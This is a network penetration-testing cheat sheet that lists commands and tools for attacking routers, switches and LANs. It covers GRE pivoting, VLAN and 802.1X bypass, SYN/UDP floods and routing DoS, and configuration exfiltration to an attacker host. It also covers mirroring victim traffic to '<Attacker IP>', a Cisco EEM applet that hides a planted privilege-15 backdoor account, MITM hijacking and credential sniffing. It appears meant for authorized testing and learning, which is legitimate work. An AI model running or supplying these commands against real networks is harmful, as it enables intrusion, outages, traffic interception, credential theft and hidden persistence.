# Network Pentesting Mind Map - v1.0
# by Caster (https://github.com/c4s73r)

## Network Pentesting
Mindmap by Caster

### GRE Pivoting

**Attacker Side:**
```
sudo modprobe ip_gre
sudo ip link add name evilgre type gre local <Attacker IP> remote <Victim IP>
sudo ip addr add 172.16.0.1/24 dev evilgre
sudo ip link set evilgre up
```
**Cisco IOS:**
```
EdgeGW(config)#interface tunnel 1
EdgeGW(config-if)#tunnel mode gre ip
EdgeGW(config-if)#ip address 172.16.0.2 255.255.255.0
EdgeGW(config-if)#tunnel source <Victim IP>
EdgeGW(config-if)#tunnel destination <Attacker IP>
```
L3 GRE through Cisco IOS

**Attacker Side:**
```
sudo modprobe ip_gre
sudo ip link add name evilgre type gre local <Attacker IP> remote <Victim IP>
sudo ip addr add 172.16.0.1/24 dev evilgre
sudo ip link set evilgre up
```
**RouterOS:**
```
[admin@EdgeGW] /interface gre> add name=gre_pivoting remote-address=<Attacker IP> allow-fast-path=no
[admin@EdgeGW] /interface address> add address=172.16.0.2 netmask=255.255.255.0 interface=gre_pivoting
```
L3 GRE through RouterOS

**Cisco IOS:**
```
PWNED(config)#interface tunnel X
PWNED(config-if)#ip mtu 1514
```
**RouterOS:**
```
[admin@EdgeGW] /interface gre> set mtu=1514 name=gre_pivoting
```
MTU Fixing

**Attacker Side:**
```
sudo modprobe ip_gre
sudo ip link add name evilgretap type gre local <Attacker IP> remote <Victim IP>
sudo ip link set evilgretap up
sudo dhclient -v evilgretap
```
**Victim Side (the case when the victim has two interfaces. Be careful):**
```
sudo modprobe ip_gre
sudo ip link add name eviltap type gre local <Victim IP> remote <Attacker IP>
sudo brctl addbr internal
sudo brctl addif internal eviltap
sudo brctl addif internal eth1
sudo ip link set internal up
sudo sysctl -w net.ipv4.ip_forward=1
```
L2 GRE Tunnel through L3 GRE Tunnel (Access to L2 Attacks)

### NAC/802.1X Bypassing

Find some legitimate device in the room and look for credentials, hashes, etc.

FENRIR, NAC Bypass toolkit → Bridge-based Attack

SilentBridge with custom hardware → Evil Twin

Setting the MAC address of a legitimate device on your interface → MAC Authentication Bypass

### VLAN Bypassing

**After DTP Inject:**
```
sudo modprobe 8021q
sudo vconfig add eth X <target VLAN ID>
sudo ip link set ethX.<VLAN ID> up
sudo dhclient -v ethX.<VLAN ID>
```
Yersinia, Scapy → DTP Injection

```
sudo modprobe 8021q
sudo tcpdump -s 0 -w cdp-vlan-bypass.pcap -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc
sudo tcpdump -vr cdp-vlan-bypass.pcap (checking CDP frame)
sudo watch -n 60 "tcpreplay -i eth0 cdp-packet.cap" (inject CDP frame every 60 sec)
sudo vconfig add ethX <VLAN ID>
sudo ip link set ethX.<VLAN ID> up
sudo dhclient -v ethX.<VLAN ID>
```
CDP Injection (VoIP VLAN Context)

ONE-WAY ATTACK!!! EXPERIMENTAL!!! → Scapy → Double Tagging

```
sudo modprobe 8021q
sudo vconfig add ethX <VLAN ID>
sudo ip link set ethX.<VLAN ID> up
sudo dhclient -v ethX.<VLAN ID>
```
After this - create virtual VLAN interfaces → Access to Switch & configure 802.1q trunk

### DoS

Yersinia → CDP Flooding

FRR, Nemesis, Scapy → OSPF & EIGRP Blackhole Attack

```
sudo python3 routingtableoverflow.py --interface ethX \
--asn X --src <Attacker IP>
```
EIGRPWN Toolkit by Caster → EIGRP Routing Table Overflow

```
sudo python3 helloflooding.py --interface ethX --asn X --subnet X.X.X.X/X
```
EIGRPWN Toolkit by Caster → Fake EIGRP neighbors

Yersinia → VTP frame Injection

Yersinia, Scapy → DHCP Exhaustion Attack

Scapy → ICMP Smurf

```
sudo hping3 -c <packet count> -d <bytes> -S -w <TCP window size> \
-p <target TCP port> --flood --rand-source <target IP>
```
hping3 → TCP SYN Flood

```
sudo hping3 --udp -p <target UDP port> -d <UDP DGRAM size> <target IP>
```
hping3 → UDP Flood

```
sudo python3 relationshipnightmare.py --interface ethX \
--asn X --src <target EIGRP router IP>
```
EIGRPWN Toolkit by Caster → Reset EIGRP neighborship

```
sudo python3 arp_cage.py ethX <target subnet> <target IP>
```
arp_cage.py tool by s0i37 → ARP Cage Attack

### Dynamic IGP Routing

Analysis of the routing table (when establishing a IGP neighborhood, there is an automatic exchange of route information)

```
FRR(config)# ip forwarding
FRR(config)# router ospf
FRR(config)# network <Attacker IP/32> area <area ID>
```
Connect to routing domain → FRRouting → OSPF

```
FRR(config)# ip forwarding
FRR(config)# router eigrp <AS Number>
FRR(config)# network <Attacker IP/32>
```
Connect to AS EIGRP → FRRouting → EIGRP

Analysis of the routing table (when establishing a IGP neighborhood, there is an automatic exchange of route information). EIGRP AS is flat, you will list all existing subnets

### Configuration Exfiltration

sudo python2 siet.py -g -i <Victim IP> → SIET toolkit → Cisco Smart Install Exploiting

```
set COMMUNITY <RW string>
set RHOSTS <Target IP>
set LHOST <Attacker IP>
set OUTPUTDIR <dir>
exploit
```
cisco_config_tftp MSF module → Bruteforce SNMP RW String with onesixtyone / Capture traffic & find SNMP RW String → SNMP RW against Cisco Router

Attack some FTP/TFTP Server. They are usually used to store backups of network equipment configurations

### GitHub Links

**MITM Attacks:** c4s73r/Grit

**DoS:** s0i37/net/arp_cage.py, c4s73r/EIGRPWN

**Information Gathering:** c4s73r/Above, frostbits-security/ccat

**Cisco Passwords:** theevilbit/ciscot7

**NAC/802.1X Bypassing:** Orange-Cyberdefense/fenrir-ocd, scipag/nac_bypass, s0lst1c3/silentbridge

**Credentials Sniffing:** lgandx/PCredz, DanMcInerney/net-creds

**Configuration Exfiltration:** Sab0tag3d/SIET

### Cisco EEM for hiding user

It is recommended to write applets for other commands as well (show ssh, show users and other commands)

```
Owned(config)#username hidden_grimoire privilege 15 secret <Password>
Owned(config)#event manager applet hide_from_showrun
Owned(config-applet)#event cli pattern "show run" sync yes
Owned(config-applet)#action 0.0 cli command "enable"
Owned(config-applet)#action 1.0 cli command "show run | exclude hidden | event | action"
Owned(config-applet)#action 2.0 puts "$_cli_result_showrunapplet"
```

### Authentication Cracking

OSPF → Save traffic to .pcap → ettercap -Tqr dump.pcap → Bruteforce with John

EIGRP → Save traffic to .pcap → eigrp2john.py dump.pcap → Bruteforce with John

HSRP → Save traffic to .pcap → hsrp2john.py dump.pcap → Bruteforce with John

VRRP → Save traffic to .pcap → vrrp2john.py dump.pcap → Bruteforce with John

GLBP → Save traffic to .pcap → glbp2john.py dump.pcap → Bruteforce with John

TACACS+ → Sniff & capture TACACS+ key with Loki tool → Bruteforce TACACS+ key with Loki

### Information Gathering

CDP/LLDP/MNDP/EDP Traffic Sniffing → IP Addressing information; OS version, hardware model; Port ID, VLAN ID, Native VLAN, Capabilities, MGMT, Duplex

Above Scanner by Caster → Finding vulnerabilities in network protocols (L2/L3) → sudo python3 Above.py -interface ethX -timeout XX -fullscan

SNMP RO Bruteforce → onesixtyone → Enumerate information → snmp_enum MSF Module; snmpwalk

Enumerate VLAN ID from STP or PVST+frame (Bridge System Extension header)

Analyze Cisco configuration with CCAT

ARP → Active ARP Scan → netdiscover -i ethX; Passive ARP Scan → netdiscover -i ethX -p

TTL Enumeration → Windows: TTL=128; Linux: TTL=64; Cisco: TTL=255; Juniper: TTL=64

### Cisco Passwords

Type 0 (Cleartext Password)

Type 4 (SHA-256) → john (--format=Raw-SHA256); hashcat (-m 5700)

Type 5 (MD5) → john (--format=md5crypt); hashcat (-m 500)

Type 7 (Vigenere Cipher) → ciscot7

Type 8 (PBKDF2-HMAC-SHA256) → john (--format=pbkdf2-hmac-sha256); hashcat (-m 9200)

Type 9 (SCRYPT) → john (--format=scrypt); hashcat (-m 9300)

### Traffic Hijacking

Traffic Interception with Cisco ERSPAN (If necessary, configure the GRE tunnel)
```
CSR(config)#monitor session 337 type erspan-source
CSR(config-mon-erspan-src)#source interface gigabitEthernet 2
CSR(config-mon-erspan-src)#no shutdown
CSR(config-mon-erspan-src)#destination
CSR(config-mon-erspan-src-dst)#erspan-id 337
CSR(config-mon-erspan-src-dst)#ip address <Attacker IP>
CSR(config-mon-erspan-src-dst)#origin ip address <source ERSPAN device IP>
```

Traffic Interception with Mikrotik TZSP
```
[admin@EdgeGW] > /tool sniffer
[admin@EdgeGW] /tool sniffer> set streaming-enabled=yes \
    streaming-server=<Attacker IP> filter-interface=etherX,etherX \
    filter-stream=yes
[admin@EdgeGW] /tool sniffer> start
```

### MITM Attacks

**Prologue**
- Powerful hardware → • CPU: 4 Cores or more • RAM: 6 GB or more • Interface: Full Duplex, 1Gb/s or more
- Enable Forwarding → `sudo sysctl -w net.ipv4.ip_forward=1`
- Check your FW →
```
sudo iptables -L
sudo iptables -t nat -L
sudo iptables -t raw -L
sudo iptables -t mangle -L
```
- Enable Masquerading (for capturing incoming & out traffic) → `sudo iptables -t nat -A POSTROUTING -o ethX -j MASQUERADE`
- Promisc mode → `sudo ip link set ethX promisc on`
- NAT Helper →
```
sudo modprobe nf_conntrack
sudo echo "1" > /proc/sys/net/netfilter/nf_conntrack_helper
```
- Disable ICMP Redirect on your host →
```
sudo sysctl -w net.ipv4.conf.all.accept_redirects=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
```
- Checking subnets under attack (the larger the host mask, the higher the DoS risk)

STP Hijacking → "Grit" toolkit by Caster → `sudo python3 stpexploit.py --interface ethX --mac XX:XX:XX:XX:XX:XX`

ARP Spoofing → Scapy, Loki, Ettercap, Bettercap, Arpspoof

FHRP Hijacking

HSRP → Loki / Yersinia / Scapy
1. Inject HSRP Packet with MAX priority (255)
2. Remove current default route & create new default route through the previous ACTIVE router
3. Enable MASQUERADE
4. If necessary, crack HSRP authentication with hsrp2john.py

VRRP → Loki / Yersinia / Scapy
1. Inject VRRP Packet with MAX priority (255)
2. Remove current default route & create new default route through the previous MASTER router
3. Enable MASQUERADE

GLBP → Loki
1. Inject GLBP Packet with MAX priority & MAX GLBP Weight value (255)
2. Remove current default route & create new default routes through the previous AVG/AVF routers
3. Enable MASQUERADE

DHCP Spoofing → DHCPv4 → Ettercap / Yersinia; DHCPv6 → mitm6 (DNS Spoofing Context. There is a risk of DoS, be careful.) → `sudo mitm6 -d domain.local`

DRP Evil Twin → Redistribute static route to IGP AS (OSPF / EIGRP) for capturing user credentials. The goal is usually a service, some kind of service. High risk, do everything quickly!

LLMNR/NBNS/mDNS Poisoning → Responder → `sudo responder -I ethX -wrf`

CAM Table Overflow → dsniff / Scapy → NOT RECOMMENDED: Unicast flood risk

TTL Shifting (for traceroute evasion) → `iptables -t mangle -A PREROUTING -i ethX -j TTL --ttl-inc 1`

ICMP Redirect Attack → Ettercap / Scapy

Credentials Sniffing → `python2 net-creds.py -i ethX`; `dsniff -i ethX`; `Pcredz -i ethX -v`